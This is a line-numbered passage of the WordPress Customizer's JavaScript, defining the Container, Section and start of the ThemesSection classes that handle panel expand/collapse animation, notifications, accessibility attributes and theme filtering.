905 remainingTime = Math.ceil( remainingTime / millisecondsDivider );
906 return remainingTime;
907 };
908
909 /**
910 * Return browser supported `transitionend` event name.
911 *
912 * @since 4.7.0
913 *
914 * @ignore
915 *
916 * @return {string|null} Normalized `transitionend` event name or null if CSS transitions are not supported.
917 */
918 normalizedTransitionendEventName = (function () {
919 var el, transitions, prop;
920 el = document.createElement( 'div' );
921 transitions = {
922 'transition' : 'transitionend',
923 'OTransition' : 'oTransitionEnd',
924 'MozTransition' : 'transitionend',
925 'WebkitTransition': 'webkitTransitionEnd'
926 };
927 prop = _.find( _.keys( transitions ), function( prop ) {
928 return ! _.isUndefined( el.style[ prop ] );
929 } );
930 if ( prop ) {
931 return transitions[ prop ];
932 } else {
933 return null;
934 }
935 })();
936
937 Container = api.Class.extend(/** @lends wp.customize~Container.prototype */{
938 defaultActiveArguments: { duration: 'fast', completeCallback: $.noop },
939 defaultExpandedArguments: { duration: 'fast', completeCallback: $.noop },
940 containerType: 'container',
941 defaults: {
942 title: '',
943 description: '',
944 priority: 100,
945 type: 'default',
946 content: null,
947 active: true,
948 instanceNumber: null
949 },
950
951 /**
952 * Base class for Panel and Section.
953 *
954 * @constructs wp.customize~Container
955 * @augments wp.customize.Class
956 *
957 * @since 4.1.0
958 *
959 * @borrows wp.customize~focus as focus
960 *
961 * @param {string} id - The ID for the container.
962 * @param {Object} options - Object containing one property: params.
963 * @param {string} options.title - Title shown when panel is collapsed and expanded.
964 * @param {string} [options.description] - Description shown at the top of the panel.
965 * @param {number} [options.priority=100] - The sort priority for the panel.
966 * @param {string} [options.templateId] - Template selector for container.
967 * @param {string} [options.type=default] - The type of the panel. See wp.customize.panelConstructor.
968 * @param {string} [options.content] - The markup to be used for the panel container. If empty, a JS template is used.
969 * @param {boolean} [options.active=true] - Whether the panel is active or not.
970 * @param {Object} [options.params] - Deprecated wrapper for the above properties.
971 */
972 initialize: function ( id, options ) {
973 var container = this;
974 container.id = id;
975
976 if ( ! Container.instanceCounter ) {
977 Container.instanceCounter = 0;
978 }
979 Container.instanceCounter++;
980
981 $.extend( container, {
982 params: _.defaults(
983 options.params || options, // Passing the params is deprecated.
984 container.defaults
985 )
986 } );
987 if ( ! container.params.instanceNumber ) {
988 container.params.instanceNumber = Container.instanceCounter;
989 }
990 container.notifications = new api.Notifications();
991 container.templateSelector = container.params.templateId || 'customize-' + container.containerType + '-' + container.params.type;
992 container.container = $( container.params.content );
993 if ( 0 === container.container.length ) {
994 container.container = $( container.getContainer() );
995 }
996 container.headContainer = container.container;
997 container.contentContainer = container.getContent();
998 container.container = container.container.add( container.contentContainer );
999
1000 container.deferred = {
1001 embedded: new $.Deferred()
1002 };
1003 container.priority = new api.Value();
1004 container.active = new api.Value();
1005 container.activeArgumentsQueue = [];
1006 container.expanded = new api.Value();
1007 container.expandedArgumentsQueue = [];
1008
1009 container.active.bind( function ( active ) {
1010 var args = container.activeArgumentsQueue.shift();
1011 args = $.extend( {}, container.defaultActiveArguments, args );
1012 active = ( active && container.isContextuallyActive() );
1013 container.onChangeActive( active, args );
1014 });
1015 container.expanded.bind( function ( expanded ) {
1016 var args = container.expandedArgumentsQueue.shift();
1017 args = $.extend( {}, container.defaultExpandedArguments, args );
1018 container.onChangeExpanded( expanded, args );
1019 });
1020
1021 container.deferred.embedded.done( function () {
1022 container.setupNotifications();
1023 container.attachEvents();
1024 });
1025
1026 api.utils.bubbleChildValueChanges( container, [ 'priority', 'active' ] );
1027
1028 container.priority.set( container.params.priority );
1029 container.active.set( container.params.active );
1030 container.expanded.set( false );
1031 },
1032
1033 /**
1034 * Get the element that will contain the notifications.
1035 *
1036 * @since 4.9.0
1037 * @return {jQuery} Notification container element.
1038 */
1039 getNotificationsContainerElement: function() {
1040 var container = this;
1041 return container.contentContainer.find( '.customize-control-notifications-container:first' );
1042 },
1043
1044 /**
1045 * Set up notifications.
1046 *
1047 * @since 4.9.0
1048 * @return {void}
1049 */
1050 setupNotifications: function() {
1051 var container = this, renderNotifications;
1052 container.notifications.container = container.getNotificationsContainerElement();
1053
1054 // Render notifications when they change and when the construct is expanded.
1055 renderNotifications = function() {
1056 if ( container.expanded.get() ) {
1057 container.notifications.render();
1058 }
1059 };
1060 container.expanded.bind( renderNotifications );
1061 renderNotifications();
1062 container.notifications.bind( 'change', _.debounce( renderNotifications ) );
1063 },
1064
1065 /**
1066 * @since 4.1.0
1067 *
1068 * @abstract
1069 */
1070 ready: function() {},
1071
1072 /**
1073 * Get the child models associated with this parent, sorting them by their priority Value.
1074 *
1075 * @since 4.1.0
1076 *
1077 * @param {string} parentType
1078 * @param {string} childType
1079 * @return {Array}
1080 */
1081 _children: function ( parentType, childType ) {
1082 var parent = this,
1083 children = [];
1084 api[ childType ].each( function ( child ) {
1085 if ( child[ parentType ].get() === parent.id ) {
1086 children.push( child );
1087 }
1088 } );
1089 children.sort( api.utils.prioritySort );
1090 return children;
1091 },
1092
1093 /**
1094 * To override by subclass, to return whether the container has active children.
1095 *
1096 * @since 4.1.0
1097 *
1098 * @abstract
1099 */
1100 isContextuallyActive: function () {
1101 throw new Error( 'Container.isContextuallyActive() must be overridden in a subclass.' );
1102 },
1103
1104 /**
1105 * Active state change handler.
1106 *
1107 * Shows the container if it is active, hides it if not.
1108 *
1109 * To override by subclass, update the container's UI to reflect the provided active state.
1110 *
1111 * @since 4.1.0
1112 *
1113 * @param {boolean} active - The active state to transiution to.
1114 * @param {Object} [args] - Args.
1115 * @param {Object} [args.duration] - The duration for the slideUp/slideDown animation.
1116 * @param {boolean} [args.unchanged] - Whether the state is already known to not be changed, and so short-circuit with calling completeCallback early.
1117 * @param {Function} [args.completeCallback] - Function to call when the slideUp/slideDown has completed.
1118 */
1119 onChangeActive: function( active, args ) {
1120 var construct = this,
1121 headContainer = construct.headContainer,
1122 duration, expandedOtherPanel;
1123
1124 if ( args.unchanged ) {
1125 if ( args.completeCallback ) {
1126 args.completeCallback();
1127 }
1128 return;
1129 }
1130
1131 duration = ( 'resolved' === api.previewer.deferred.active.state() ? args.duration : 0 );
1132
1133 if ( construct.extended( api.Panel ) ) {
1134 // If this is a panel is not currently expanded but another panel is expanded, do not animate.
1135 api.panel.each(function ( panel ) {
1136 if ( panel !== construct && panel.expanded() ) {
1137 expandedOtherPanel = panel;
1138 duration = 0;
1139 }
1140 });
1141
1142 // Collapse any expanded sections inside of this panel first before deactivating.
1143 if ( ! active ) {
1144 _.each( construct.sections(), function( section ) {
1145 section.collapse( { duration: 0 } );
1146 } );
1147 }
1148 }
1149
1150 if ( ! $.contains( document, headContainer.get( 0 ) ) ) {
1151 // If the element is not in the DOM, then jQuery.fn.slideUp() does nothing.
1152 // In this case, a hard toggle is required instead.
1153 headContainer.toggle( active );
1154 if ( args.completeCallback ) {
1155 args.completeCallback();
1156 }
1157 } else if ( active ) {
1158 headContainer.slideDown( duration, args.completeCallback );
1159 } else {
1160 if ( construct.expanded() ) {
1161 construct.collapse({
1162 duration: duration,
1163 completeCallback: function() {
1164 headContainer.slideUp( duration, args.completeCallback );
1165 }
1166 });
1167 } else {
1168 headContainer.slideUp( duration, args.completeCallback );
1169 }
1170 }
1171 },
1172
1173 /**
1174 * @since 4.1.0
1175 *
1176 * @param {boolean} active
1177 * @param {Object} [params]
1178 * @return {boolean} False if state already applied.
1179 */
1180 _toggleActive: function ( active, params ) {
1181 var self = this;
1182 params = params || {};
1183 if ( ( active && this.active.get() ) || ( ! active && ! this.active.get() ) ) {
1184 params.unchanged = true;
1185 self.onChangeActive( self.active.get(), params );
1186 return false;
1187 } else {
1188 params.unchanged = false;
1189 this.activeArgumentsQueue.push( params );
1190 this.active.set( active );
1191 return true;
1192 }
1193 },
1194
1195 /**
1196 * @param {Object} [params]
1197 * @return {boolean} False if already active.
1198 */
1199 activate: function ( params ) {
1200 return this._toggleActive( true, params );
1201 },
1202
1203 /**
1204 * @param {Object} [params]
1205 * @return {boolean} False if already inactive.
1206 */
1207 deactivate: function ( params ) {
1208 return this._toggleActive( false, params );
1209 },
1210
1211 /**
1212 * To override by subclass, update the container's UI to reflect the provided active state.
1213 * @abstract
1214 */
1215 onChangeExpanded: function () {
1216 throw new Error( 'Must override with subclass.' );
1217 },
1218
1219 /**
1220 * Handle the toggle logic for expand/collapse.
1221 *
1222 * @param {boolean} expanded - The new state to apply.
1223 * @param {Object} [params] - Object containing options for expand/collapse.
1224 * @param {Function} [params.completeCallback] - Function to call when expansion/collapse is complete.
1225 * @return {boolean} False if state already applied or active state is false.
1226 */
1227 _toggleExpanded: function( expanded, params ) {
1228 var instance = this, previousCompleteCallback;
1229 params = params || {};
1230 previousCompleteCallback = params.completeCallback;
1231
1232 // Short-circuit expand() if the instance is not active.
1233 if ( expanded && ! instance.active() ) {
1234 return false;
1235 }
1236
1237 api.state( 'paneVisible' ).set( true );
1238 params.completeCallback = function() {
1239 if ( previousCompleteCallback ) {
1240 previousCompleteCallback.apply( instance, arguments );
1241 }
1242 if ( expanded ) {
1243 instance.container.trigger( 'expanded' );
1244 } else {
1245 instance.container.trigger( 'collapsed' );
1246 }
1247 };
1248 if ( ( expanded && instance.expanded.get() ) || ( ! expanded && ! instance.expanded.get() ) ) {
1249 params.unchanged = true;
1250 instance.onChangeExpanded( instance.expanded.get(), params );
1251 return false;
1252 } else {
1253 params.unchanged = false;
1254 instance.expandedArgumentsQueue.push( params );
1255 instance.expanded.set( expanded );
1256 return true;
1257 }
1258 },
1259
1260 /**
1261 * @param {Object} [params]
1262 * @return {boolean} False if already expanded or if inactive.
1263 */
1264 expand: function ( params ) {
1265 return this._toggleExpanded( true, params );
1266 },
1267
1268 /**
1269 * @param {Object} [params]
1270 * @return {boolean} False if already collapsed.
1271 */
1272 collapse: function ( params ) {
1273 return this._toggleExpanded( false, params );
1274 },
1275
1276 /**
1277 * Animate container state change if transitions are supported by the browser.
1278 *
1279 * @since 4.7.0
1280 * @private
1281 *
1282 * @param {function} completeCallback Function to be called after transition is completed.
1283 * @return {void}
1284 */
1285 _animateChangeExpanded: function( completeCallback ) {
1286 // Return if CSS transitions are not supported or if reduced motion is enabled.
1287 if ( ! normalizedTransitionendEventName || isReducedMotion ) {
1288 // Schedule the callback until the next tick to prevent focus loss.
1289 _.defer( function () {
1290 if ( completeCallback ) {
1291 completeCallback();
1292 }
1293 } );
1294 return;
1295 }
1296
1297 var construct = this,
1298 content = construct.contentContainer,
1299 overlay = content.closest( '.wp-full-overlay' ),
1300 elements, transitionEndCallback, transitionParentPane;
1301
1302 // Determine set of elements that are affected by the animation.
1303 elements = overlay.add( content );
1304
1305 if ( ! construct.panel || '' === construct.panel() ) {
1306 transitionParentPane = true;
1307 } else if ( api.panel( construct.panel() ).contentContainer.hasClass( 'skip-transition' ) ) {
1308 transitionParentPane = true;
1309 } else {
1310 transitionParentPane = false;
1311 }
1312 if ( transitionParentPane ) {
1313 elements = elements.add( '#customize-info, .customize-pane-parent' );
1314 }
1315
1316 // Handle `transitionEnd` event.
1317 transitionEndCallback = function( e ) {
1318 if ( 2 !== e.eventPhase || ! $( e.target ).is( content ) ) {
1319 return;
1320 }
1321 content.off( normalizedTransitionendEventName, transitionEndCallback );
1322 elements.removeClass( 'busy' );
1323 if ( completeCallback ) {
1324 completeCallback();
1325 }
1326 };
1327 content.on( normalizedTransitionendEventName, transitionEndCallback );
1328 elements.addClass( 'busy' );
1329
1330 // Prevent screen flicker when pane has been scrolled before expanding.
1331 _.defer( function() {
1332 var container = content.closest( '.wp-full-overlay-sidebar-content' ),
1333 currentScrollTop = container.scrollTop(),
1334 previousScrollTop = content.data( 'previous-scrollTop' ) || 0,
1335 expanded = construct.expanded();
1336
1337 if ( expanded && 0 < currentScrollTop ) {
1338 content.css( 'top', currentScrollTop + 'px' );
1339 content.data( 'previous-scrollTop', currentScrollTop );
1340 } else if ( ! expanded && 0 < currentScrollTop + previousScrollTop ) {
1341 content.css( 'top', previousScrollTop - currentScrollTop + 'px' );
1342 container.scrollTop( previousScrollTop );
1343 }
1344 } );
1345 },
1346
1347 /*
1348 * is documented using @borrows in the constructor.
1349 */
1350 focus: focus,
1351
1352 /**
1353 * Return the container html, generated from its JS template, if it exists.
1354 *
1355 * @since 4.3.0
1356 */
1357 getContainer: function () {
1358 var template,
1359 container = this;
1360
1361 if ( 0 !== $( '#tmpl-' + container.templateSelector ).length ) {
1362 template = wp.template( container.templateSelector );
1363 } else {
1364 template = wp.template( 'customize-' + container.containerType + '-default' );
1365 }
1366 if ( template && container.container ) {
1367 return template( _.extend(
1368 { id: container.id },
1369 container.params
1370 ) ).toString().trim();
1371 }
1372
1373 return '<li></li>';
1374 },
1375
1376 /**
1377 * Find content element which is displayed when the section is expanded.
1378 *
1379 * After a construct is initialized, the return value will be available via the `contentContainer` property.
1380 * By default the element will be related it to the parent container with `aria-owns` and detached.
1381 * Custom panels and sections (such as the `NewMenuSection`) that do not have a sliding pane should
1382 * just return the content element without needing to add the `aria-owns` element or detach it from
1383 * the container. Such non-sliding pane custom sections also need to override the `onChangeExpanded`
1384 * method to handle animating the panel/section into and out of view.
1385 *
1386 * @since 4.7.0
1387 * @access public
1388 *
1389 * @return {jQuery} Detached content element.
1390 */
1391 getContent: function() {
1392 var construct = this,
1393 container = construct.container,
1394 content = container.find( '.accordion-section-content, .control-panel-content' ).first(),
1395 contentId = 'sub-' + container.attr( 'id' ),
1396 ownedElements = contentId,
1397 alreadyOwnedElements = container.attr( 'aria-owns' );
1398
1399 if ( alreadyOwnedElements ) {
1400 ownedElements = ownedElements + ' ' + alreadyOwnedElements;
1401 }
1402 container.attr( 'aria-owns', ownedElements );
1403
1404 return content.detach().attr( {
1405 'id': contentId,
1406 'class': 'customize-pane-child ' + content.attr( 'class' ) + ' ' + container.attr( 'class' )
1407 } );
1408 }
1409 });
1410
1411 api.Section = Container.extend(/** @lends wp.customize.Section.prototype */{
1412 containerType: 'section',
1413 containerParent: '#customize-theme-controls',
1414 containerPaneParent: '.customize-pane-parent',
1415 defaults: {
1416 title: '',
1417 description: '',
1418 priority: 100,
1419 type: 'default',
1420 content: null,
1421 active: true,
1422 instanceNumber: null,
1423 panel: null,
1424 customizeAction: ''
1425 },
1426
1427 /**
1428 * @constructs wp.customize.Section
1429 * @augments wp.customize~Container
1430 *
1431 * @since 4.1.0
1432 *
1433 * @param {string} id - The ID for the section.
1434 * @param {Object} options - Options.
1435 * @param {string} options.title - Title shown when section is collapsed and expanded.
1436 * @param {string} [options.description] - Description shown at the top of the section.
1437 * @param {number} [options.priority=100] - The sort priority for the section.
1438 * @param {string} [options.type=default] - The type of the section. See wp.customize.sectionConstructor.
1439 * @param {string} [options.content] - The markup to be used for the section container. If empty, a JS template is used.
1440 * @param {boolean} [options.active=true] - Whether the section is active or not.
1441 * @param {string} options.panel - The ID for the panel this section is associated with.
1442 * @param {string} [options.customizeAction] - Additional context information shown before the section title when expanded.
1443 * @param {Object} [options.params] - Deprecated wrapper for the above properties.
1444 */
1445 initialize: function ( id, options ) {
1446 var section = this, params;
1447 params = options.params || options;
1448
1449 // Look up the type if one was not supplied.
1450 if ( ! params.type ) {
1451 _.find( api.sectionConstructor, function( Constructor, type ) {
1452 if ( Constructor === section.constructor ) {
1453 params.type = type;
1454 return true;
1455 }
1456 return false;
1457 } );
1458 }
1459
1460 Container.prototype.initialize.call( section, id, params );
1461
1462 section.id = id;
1463 section.panel = new api.Value();
1464 section.panel.bind( function ( id ) {
1465 $( section.headContainer ).toggleClass( 'control-subsection', !! id );
1466 });
1467 section.panel.set( section.params.panel || '' );
1468 api.utils.bubbleChildValueChanges( section, [ 'panel' ] );
1469
1470 section.embed();
1471 section.deferred.embedded.done( function () {
1472 section.ready();
1473 });
1474 },
1475
1476 /**
1477 * Embed the container in the DOM when any parent panel is ready.
1478 *
1479 * @since 4.1.0
1480 */
1481 embed: function () {
1482 var inject,
1483 section = this;
1484
1485 section.containerParent = api.ensure( section.containerParent );
1486
1487 // Watch for changes to the panel state.
1488 inject = function ( panelId ) {
1489 var parentContainer;
1490 if ( panelId ) {
1491 // The panel has been supplied, so wait until the panel object is registered.
1492 api.panel( panelId, function ( panel ) {
1493 // The panel has been registered, wait for it to become ready/initialized.
1494 panel.deferred.embedded.done( function () {
1495 parentContainer = panel.contentContainer;
1496 if ( ! section.headContainer.parent().is( parentContainer ) ) {
1497 parentContainer.append( section.headContainer );
1498 }
1499 if ( ! section.contentContainer.parent().is( section.headContainer ) ) {
1500 section.containerParent.append( section.contentContainer );
1501 }
1502 section.deferred.embedded.resolve();
1503 });
1504 } );
1505 } else {
1506 // There is no panel, so embed the section in the root of the customizer.
1507 parentContainer = api.ensure( section.containerPaneParent );
1508 if ( ! section.headContainer.parent().is( parentContainer ) ) {
1509 parentContainer.append( section.headContainer );
1510 }
1511 if ( ! section.contentContainer.parent().is( section.headContainer ) ) {
1512 section.containerParent.append( section.contentContainer );
1513 }
1514 section.deferred.embedded.resolve();
1515 }
1516 };
1517 section.panel.bind( inject );
1518 inject( section.panel.get() ); // Since a section may never get a panel, assume that it won't ever get one.
1519 },
1520
1521 /**
1522 * Add behaviors for the accordion section.
1523 *
1524 * @since 4.1.0
1525 */
1526 attachEvents: function () {
1527 var meta, content, section = this;
1528
1529 if ( section.container.hasClass( 'cannot-expand' ) ) {
1530 return;
1531 }
1532
1533 // Expand/Collapse accordion sections on click.
1534 section.container.find( '.accordion-section-title button, .customize-section-back, .accordion-section-title[tabindex]' ).on( 'click keydown', function( event ) {
1535 if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
1536 return;
1537 }
1538 event.preventDefault(); // Keep this AFTER the key filter above.
1539
1540 if ( section.expanded() ) {
1541 section.collapse();
1542 } else {
1543 section.expand();
1544 }
1545 });
1546
1547 // This is very similar to what is found for api.Panel.attachEvents().
1548 section.container.find( '.customize-section-title .customize-help-toggle' ).on( 'click', function() {
1549
1550 meta = section.container.find( '.section-meta' );
1551 if ( meta.hasClass( 'cannot-expand' ) ) {
1552 return;
1553 }
1554 content = meta.find( '.customize-section-description:first' );
1555 content.toggleClass( 'open' );
1556 content.slideToggle( section.defaultExpandedArguments.duration, function() {
1557 content.trigger( 'toggled' );
1558 } );
1559 $( this ).attr( 'aria-expanded', function( i, attr ) {
1560 return 'true' === attr ? 'false' : 'true';
1561 });
1562 });
1563 },
1564
1565 /**
1566 * Return whether this section has any active controls.
1567 *
1568 * @since 4.1.0
1569 *
1570 * @return {boolean}
1571 */
1572 isContextuallyActive: function () {
1573 var section = this,
1574 controls = section.controls(),
1575 activeCount = 0;
1576 _( controls ).each( function ( control ) {
1577 if ( control.active() ) {
1578 activeCount += 1;
1579 }
1580 } );
1581 return ( activeCount !== 0 );
1582 },
1583
1584 /**
1585 * Get the controls that are associated with this section, sorted by their priority Value.
1586 *
1587 * @since 4.1.0
1588 *
1589 * @return {Array}
1590 */
1591 controls: function () {
1592 return this._children( 'section', 'control' );
1593 },
1594
1595 /**
1596 * Update UI to reflect expanded state.
1597 *
1598 * @since 4.1.0
1599 *
1600 * @param {boolean} expanded
1601 * @param {Object} args
1602 */
1603 onChangeExpanded: function ( expanded, args ) {
1604 var section = this,
1605 container = section.headContainer.closest( '.wp-full-overlay-sidebar-content' ),
1606 content = section.contentContainer,
1607 overlay = section.headContainer.closest( '.wp-full-overlay' ),
1608 backBtn = content.find( '.customize-section-back' ),
1609 sectionTitle = section.headContainer.find( '.accordion-section-title button, .accordion-section-title[tabindex]' ).first(),
1610 expand, panel;
1611
1612 if ( expanded && ! content.hasClass( 'open' ) ) {
1613
1614 if ( args.unchanged ) {
1615 expand = args.completeCallback;
1616 } else {
1617 expand = function() {
1618 section._animateChangeExpanded( function() {
1619 backBtn.attr( 'tabindex', '0' );
1620 backBtn.trigger( 'focus' );
1621 content.css( 'top', '' );
1622 container.scrollTop( 0 );
1623
1624 if ( args.completeCallback ) {
1625 args.completeCallback();
1626 }
1627 } );
1628
1629 content.addClass( 'open' );
1630 overlay.addClass( 'section-open' );
1631 api.state( 'expandedSection' ).set( section );
1632 }.bind( this );
1633 }
1634
1635 if ( ! args.allowMultiple ) {
1636 api.section.each( function ( otherSection ) {
1637 if ( otherSection !== section ) {
1638 otherSection.collapse( { duration: args.duration } );
1639 }
1640 });
1641 }
1642
1643 if ( section.panel() ) {
1644 api.panel( section.panel() ).expand({
1645 duration: args.duration,
1646 completeCallback: expand
1647 });
1648 } else {
1649 if ( ! args.allowMultiple ) {
1650 api.panel.each( function( panel ) {
1651 panel.collapse();
1652 });
1653 }
1654 expand();
1655 }
1656
1657 } else if ( ! expanded && content.hasClass( 'open' ) ) {
1658 if ( section.panel() ) {
1659 panel = api.panel( section.panel() );
1660 if ( panel.contentContainer.hasClass( 'skip-transition' ) ) {
1661 panel.collapse();
1662 }
1663 }
1664 section._animateChangeExpanded( function() {
1665 backBtn.attr( 'tabindex', '-1' );
1666 sectionTitle.trigger( 'focus' );
1667 content.css( 'top', '' );
1668
1669 if ( args.completeCallback ) {
1670 args.completeCallback();
1671 }
1672 } );
1673
1674 content.removeClass( 'open' );
1675 overlay.removeClass( 'section-open' );
1676 if ( section === api.state( 'expandedSection' ).get() ) {
1677 api.state( 'expandedSection' ).set( false );
1678 }
1679
1680 } else {
1681 if ( args.completeCallback ) {
1682 args.completeCallback();
1683 }
1684 }
1685 }
1686 });
1687
1688 api.ThemesSection = api.Section.extend(/** @lends wp.customize.ThemesSection.prototype */{
1689 currentTheme: '',
1690 overlay: '',
1691 template: '',
1692 screenshotQueue: null,
1693 $window: null,
1694 $body: null,
1695 loaded: 0,
1696 loading: false,
1697 fullyLoaded: false,
1698 term: '',
1699 tags: '',
1700 nextTerm: '',
1701 nextTags: '',
1702 filtersHeight: 0,
1703 headerContainer: null,
1704 updateCountDebounced: null,
1705
1706 /**
1707 * wp.customize.ThemesSection
1708 *
1709 * Custom section for themes that loads themes by category, and also
1710 * handles the theme-details view rendering and navigation.
1711 *
1712 * @constructs wp.customize.ThemesSection
1713 * @augments wp.customize.Section
1714 *
1715 * @since 4.9.0
1716 *
1717 * @param {string} id - ID.
1718 * @param {Object} options - Options.
1719 * @return {void}
1720 */
1721 initialize: function( id, options ) {
1722 var section = this;
1723 section.headerContainer = $();
1724 section.$window = $( window );
1725 section.$body = $( document.body );
1726 api.Section.prototype.initialize.call( section, id, options );
1727 section.updateCountDebounced = _.debounce( section.updateCount, 500 );
1728 },
1729
1730 /**
1731 * Embed the section in the DOM when the themes panel is ready.
1732 *
1733 * Insert the section before the themes container. Assume that a themes section is within a panel, but not necessarily the themes panel.
1734 *
1735 * @since 4.9.0
1736 */
1737 embed: function() {
1738 var inject,
1739 section = this;
1740
1741 // Watch for changes to the panel state.
1742 inject = function( panelId ) {
1743 var parentContainer;
1744 api.panel( panelId, function( panel ) {
1745
1746 // The panel has been registered, wait for it to become ready/initialized.
1747 panel.deferred.embedded.done( function() {
1748 parentContainer = panel.contentContainer;
1749 if ( ! section.headContainer.parent().is( parentContainer ) ) {
1750 parentContainer.find( '.customize-themes-full-container-container' ).before( section.headContainer );
1751 }
1752 if ( ! section.contentContainer.parent().is( section.headContainer ) ) {
1753 section.containerParent.append( section.contentContainer );
1754 }
1755 section.deferred.embedded.resolve();
1756 });
1757 } );
1758 };
1759 section.panel.bind( inject );
1760 inject( section.panel.get() ); // Since a section may never get a panel, assume that it won't ever get one.
1761 },
1762
1763 /**
1764 * Set up.
1765 *
1766 * @since 4.2.0
1767 *
1768 * @return {void}
1769 */
1770 ready: function() {
1771 var section = this;
1772 section.overlay = section.container.find( '.theme-overlay' );
1773 section.template = wp.template( 'customize-themes-details-view' );
1774
1775 // Bind global keyboard events.
1776 section.container.on( 'keydown', function( event ) {
1777 if ( ! section.overlay.find( '.theme-wrap' ).is( ':visible' ) ) {
1778 return;
1779 }
1780
1781 // Pressing the right arrow key fires a theme:next event.
1782 if ( 39 === event.keyCode ) {
1783 section.nextTheme();
1784 }
1785
1786 // Pressing the left arrow key fires a theme:previous event.
1787 if ( 37 === event.keyCode ) {
1788 section.previousTheme();
1789 }
1790
1791 // Pressing the escape key fires a theme:collapse event.
1792 if ( 27 === event.keyCode ) {
1793 if ( section.$body.hasClass( 'modal-open' ) ) {
1794
1795 // Escape from the details modal.
1796 section.closeDetails();
1797 } else {
1798
1799 // Escape from the infinite scroll list.
1800 section.headerContainer.find( '.customize-themes-section-title' ).focus();
1801 }
1802 event.stopPropagation(); // Prevent section from being collapsed.
1803 }
1804 });
1805
1806 section.renderScreenshots = _.throttle( section.renderScreenshots, 100 );
1807
1808 _.bindAll( section, 'renderScreenshots', 'loadMore', 'checkTerm', 'filtersChecked' );
1809 },
1810
1811 /**
1812 * Override Section.isContextuallyActive method.
1813 *
1814 * Ignore the active states' of the contained theme controls, and just
1815 * use the section's own active state instead. This prevents empty search
1816 * results for theme sections from causing the section to become inactive.
1817 *
1818 * @since 4.2.0
1819 *
1820 * @return {boolean}
1821 */
1822 isContextuallyActive: function () {
1823 return this.active();
1824 },
1825
1826 /**
1827 * Attach events.
1828 *
1829 * @since 4.2.0
1830 *
1831 * @return {void}
1832 */
1833 attachEvents: function () {
1834 var section = this, debounced;
1835
1836 // Expand/Collapse accordion sections on click.
1837 section.container.find( '.customize-section-back' ).on( 'click keydown', function( event ) {
1838 if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
1839 return;
1840 }
1841 event.preventDefault(); // Keep this AFTER the key filter above.
1842 section.collapse();
1843 });
1844
1845 section.headerContainer = $( '#accordion-section-' + section.id );
1846
1847 // Expand section/panel. Only collapse when opening another section.
1848 section.headerContainer.on( 'click', '.customize-themes-section-title', function() {
1849
1850 // Toggle accordion filters under section headers.
1851 if ( section.headerContainer.find( '.filter-details' ).length ) {
1852 section.headerContainer.find( '.customize-themes-section-title' )
1853 .toggleClass( 'details-open' )
1854 .attr( 'aria-expanded', function( i, attr ) {
1855 return 'true' === attr ? 'false' : 'true';
1856 });
1857 section.headerContainer.find( '.filter-details' ).slideToggle( 180 );
1858 }
1859
1860 // Open the section.
1861 if ( ! section.expanded() ) {
1862 section.expand();
1863 }
1864 });
1865
1866 // Preview installed themes.
1867 section.container.on( 'click', '.theme-actions .preview-theme', function() {
1868 api.panel( 'themes' ).loadThemePreview( $( this ).data( 'slug' ) );
1869 });
1870
1871 // Theme navigation in details view.
1872 section.container.on( 'click', '.left', function() {
1873 section.previousTheme();
1874 });
1875
1876 section.container.on( 'click', '.right', function() {
1877 section.nextTheme();
1878 });
1879
1880 section.container.on( 'click', '.theme-backdrop, .close', function() {
1881 section.closeDetails();
1882 });
1883
1884 if ( 'local' === section.params.filter_type ) {
1885
1886 // Filter-search all theme objects loaded in the section.
1887 section.container.on( 'input', '.wp-filter-search-themes', function( event ) {
1888 section.filterSearch( event.currentTarget.value );
1889 });
1890
1891 } else if ( 'remote' === section.params.filter_type ) {
1892
1893 // Event listeners for remote queries with user-entered terms.
1894 // Search terms.
1895 debounced = _.debounce( section.checkTerm, 500 ); // Wait until there is no input for 500 milliseconds to initiate a search.
1896 section.contentContainer.on( 'input', '.wp-filter-search', function() {
1897 if ( ! api.panel( 'themes' ).expanded() ) {
1898 return;
1899 }
1900 debounced( section );
1901 if ( ! section.expanded() ) {
1902 section.expand();
1903 }
1904 });
1905
1906 // Feature filters.
1907 section.contentContainer.on( 'click', '.filter-group input', function() {
1908 section.filtersChecked();
1909 section.checkTerm( section );
1910 });
1911 }
1912
1913 // Toggle feature filters.
1914 section.contentContainer.on( 'click', '.feature-filter-toggle', function( e ) {
1915 var $themeContainer = $( '.customize-themes-full-container' ),
1916 $filterToggle = $( e.currentTarget );
1917 section.filtersHeight = $filterToggle.parents( '.themes-filter-bar' ).next( '.filter-drawer' ).height();
1918
1919 if ( 0 < $themeContainer.scrollTop() ) {
1920 $themeContainer.animate( { scrollTop: 0 }, 400 );
1921
1922 if ( $filterToggle.hasClass( 'open' ) ) {
1923 return;
1924 }
1925 }
1926
1927 $filterToggle
1928 .toggleClass( 'open' )
1929 .attr( 'aria-expanded', function( i, attr ) {
1930 return 'true' === attr ? 'false' : 'true';
1931 })
1932 .parents( '.themes-filter-bar' ).next( '.filter-drawer' ).slideToggle( 180, 'linear' );
1933
1934 if ( $filterToggle.hasClass( 'open' ) ) {
1935 var marginOffset = 1018 < window.innerWidth ? 50 : 76;
1936
1937 section.contentContainer.find( '.themes' ).css( 'margin-top', section.filtersHeight + marginOffset );
1938 } else {
1939 section.contentContainer.find( '.themes' ).css( 'margin-top', 0 );
1940 }
1941 });
1942
1943 // Setup section cross-linking.
1944 section.contentContainer.on( 'click', '.no-themes-local .search-dotorg-themes', function() {
1945 api.section( 'wporg_themes' ).focus();
1946 });
1947
1948 function updateSelectedState() {
1949 var el = section.headerContainer.find( '.customize-themes-section-title' );
1950 el.toggleClass( 'selected', section.expanded() );
1951 el.attr( 'aria-expanded', section.expanded() ? 'true' : 'false' );
1952 if ( ! section.expanded() ) {
1953 el.removeClass( 'details-open' );
1954 }
1955 }
1956 section.expanded.bind( updateSelectedState );
1957 updateSelectedState();
1958
1959 // Move section controls to the themes area.
1960 api.bind( 'ready', function () {
1961 section.contentContainer = section.container.find( '.customize-themes-section' );
1962 section.contentContainer.appendTo( $( '.customize-themes-full-container' ) );
1963 section.container.add( section.headerContainer );
1964 });
1965 },
1966
1967 /**
1968 * Update UI to reflect expanded state
1969 *
1970 * @since 4.2.0
1971 *
1972 * @param {boolean} expanded
1973 * @param {Object} args
1974 * @param {boolean} args.unchanged
1975 * @param {Function} args.completeCallback
1976 * @return {void}
1977 */
1978 onChangeExpanded: function ( expanded, args ) {
1979
1980 // Note: there is a second argument 'args' passed.
1981 var section = this,
1982 container = section.contentContainer.closest( '.customize-themes-full-container' );
1983
